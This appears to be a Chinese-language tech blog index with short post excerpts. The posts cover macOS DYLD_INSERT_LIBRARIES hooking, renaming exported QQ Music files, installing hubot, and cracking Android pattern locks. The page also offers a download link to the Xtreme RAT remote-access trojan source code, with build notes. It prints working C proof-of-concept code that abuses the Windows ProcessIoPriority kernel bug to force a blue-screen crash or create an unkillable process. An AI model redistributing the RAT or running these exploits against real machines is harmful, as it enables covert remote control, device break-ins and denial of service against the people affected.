Hooking library calls on Mac using DYLD_INSERT_LIBRARIES

QQ20130410-1
Mac offers a way to override functions in a shared library with DYLD_INSERT_LIBRARIES environment variable (which is similar to LD_PRELOAD on Linux). When you make a twin brother of a function that is defined in an existing shared library, put it in you a shared library, and you register your shared library name in DYLD_INSERT_LIBRARIES, your function is used instead of the original one. This is my simple test. Here I’ve replaced f() in mysharedlib.dylib with f() in openhook.dylib.

Continue Reading

iPhone5 QQ音乐文件导出

本来直接向从文件共享里拉出来,但是却发现这个鸟程序没有文件共享,蛋疼。

不过随便去目录下搜索了下还是能找到文件在什么地方的,什么tm0,tm3之类的文件,全部下载下来就行了。

位于qq程序的/Documents/iMusic目录下,iMusic哈哈,什么都要i开头,蛋疼啊。

下载下来直接用命令全部重命名为mp3就行了:

Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Users\obaby>i:

I:\>cd I:\Music\iMusic

I:\Music\iMusic>ren *.tm0 *.mp3

I:\Music\iMusic>ren *.tm3 *.mp3

I:\Music\iMusic>

改名之后用mp3tag批量吧文件名替换为tag就行了。哈哈。

当然了大多数播放器会读取标签来显示,不会显示这些乱七八糟的文件名,但是去找文件的时候还是比较蛋疼,这样世界就清净多了。哈哈。

Xtreme RAT Unicode 3.6 源代码

1dyBk

客观的来说这款rat的效果并不是非常完美,我个人的编译版本可以上线,但是ping值太高(即使是本机测试)。除了有个皮肤之外其余的也没什么比较好的效果(皮肤还会不断的刷新导致闪烁,不知道是不是我的控件版本的问题)。另外一个问题就是先要编译这个程序并没有那额简单,需要安装非常多的控件,并且设置比较多的东西。(推荐使用delphi 2010以上版本编译),这个包本身是没有控件的,用到的控件列表如下:

AlphaControls 7.69 ,KOL ,TMS.Component.Pack.v6.4.4.1 ,VirtualTreeViewV5.1.0

Link:http://dl.dropbox.com/u/26758097/Rat%20source%20code/19854781Xtreme-RAT-Unicode2.rar

Andoid 图形屏幕锁破解

cracked

其实最早看到关于破解访问图案是在看雪的一篇文章中:http://bbs.pediy.com/showthread.php?t=166933。详细信息可以参考这篇文章,至于有什么不明白的那就去Google吧。

今天看到一份代码,用于生成哈希库,既然数据都有了,还不直接把搜索功能一块加进去?这不是蛋疼嘛。于是我自己完善了一下,可以直接用来对gesture.key进行搜索,免得自己去查找。当然了如果愿意自己去查也是很快的,生成的就是个文本数据库,直接用记事本打开查就行了。

Continue Reading

hubot install. hubot 机器人安裝

hubot

 

Hubot

This is a version of GitHub’s Campfire bot, hubot. He’s pretty cool.

You’ll probably never have to hack on this repo directly.

Instead this repo provides a library that’s distributed by npm that you simply require in your project. Follow the instructions below and get your own hubot ready to deploy.

1.安装nodejsnpm (node v0.6.3+版本以后已经集成npm)

2.安装redis数据库
http://redis.googlecode.com 下载redis

$ tar xzf redis-x.x.x.x.tar.gz 解压文件
$ cd redis-2.4.1
$ make

启动服务: $ src/redis-server

Continue Reading

ProcessIoPriority Bug (BSOD/Non-Killable Process)

//http://waleedassar.blogspot.com
//http://www.twitter.com/waleedassar

BSOD:
#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0xFFFFFFFF;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Non-Killable Process:

#define ProcessIoPriority               0x21
int main()
{
    unsigned long val=0x8000F129;
    int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
    if(ret<0) printf("Error %x\r\n",ret);
    ExitProcess(0);
    return 0;
}

Description:
With the “ProcessInformationClass” parameter set to ProcessIoPriority 0x21, passing certain signed values e.g. 0xFFFFFFFF or 0x8000F129 in the variable pointed to by the “ProcessInformation” parameter to the ntdll “ZwSetInformationProcess” function can be abused to arbitrarily set certain bit flags of the corresponding “_EPROCESS” structure e.g. DefaultIoPriority: Pos 27, ProcessSelfDelete : Pos 30, or SetTimerResolutionLink: Pos 31.

Link:http://waleedassar.blogspot.tw/2013/02/kernel-bug-1-processiopriority.html